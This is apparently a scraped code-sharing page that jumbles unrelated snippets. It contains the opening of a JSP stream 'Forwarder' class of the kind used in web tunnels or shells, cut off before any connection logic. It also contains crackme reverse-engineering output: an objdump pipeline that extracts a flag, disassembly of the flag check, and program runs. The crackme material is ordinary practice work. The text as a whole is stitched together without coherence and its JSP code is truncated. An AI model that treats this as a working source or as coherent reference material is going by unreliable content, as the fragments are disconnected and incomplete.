Skip to content

Instantly share code, notes, and snippets.

<%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %>
<%!
static class Forwarder extends Thread {
private static final int BUFSIZ = 4096;
private InputStream inputStream = null;
private OutputStream outputStream = null;
public Forwarder(final InputStream inputStream, final OutputStream outputStream) {
this.inputStream = inputStream;
$ objdump -d CrackMe_ASM | grep movb | awk '{ print $6 }' | grep -oe "0x[0-9][0-9]" | xxd -r
S3CrEF4G!%
$ ./CrackMe_ASM
Flag : S3CrEF4G!
you are correct !
80480ac:       b8 b3 91 04 08          mov    $0x80491b3,%eax
80480b1:       c6 00 53                movb   $0x53,(%eax)
80480b4:       83 c0 01                add    $0x1,%eax
80480b7:       c6 00 33                movb   $0x33,(%eax)
80480ba:       83 c0 01                add    $0x1,%eax
80480bd:       c6 00 43                movb   $0x43,(%eax)
80480c0:       83 c0 01                add    $0x1,%eax
80480c3:       c6 00 72                movb   $0x72,(%eax)
80480c6:       83 c0 01                add    $0x1,%eax
08048080 <_start>:
 8048080:       b8 04 00 00 00          mov    $0x4,%eax
 8048085:       bb 01 00 00 00          mov    $0x1,%ebx
 804808a:       b9 70 91 04 08          mov    $0x8049170,%ecx
 804808f:       ba 07 00 00 00          mov    $0x7,%edx
 8048094:       cd 80                   int    $0x80
 8048096:       b8 03 00 00 00          mov    $0x3,%eax
 804809b:       bb 00 00 00 00          mov    $0x0,%ebx
 80480a0: b9 a8 91 04 08 mov $0x80491a8,%ecx
80480f4:       8b 0d b3 91 04 08       mov    0x80491b3,%ecx
80480fa:       8b 1d a8 91 04 08       mov    0x80491a8,%ebx
8048100:       39 d9                   cmp    %ebx,%ecx
8048102:       75 0e                   jne    8048112 <failure>
8048104:       eb 2c                   jmp    8048132 <success>
8048106:       e8 44 00 00 00          call   804814f <ClearTerminal>
 $ ./CrackMe_ASM
Flag : foo
you are wrong , try again !

Flag : bar
you are wrong , try again !
^C
$ file CrackMe_ASM
CrackMe_ASM: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
$ ./crackmecpp
Passcode: 1234
YOURE IN!!% 
$ file crackmecpp
crackmecpp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=901287c7af167a087acdd19e0bc0087c2a993481, with debug_info, not stripped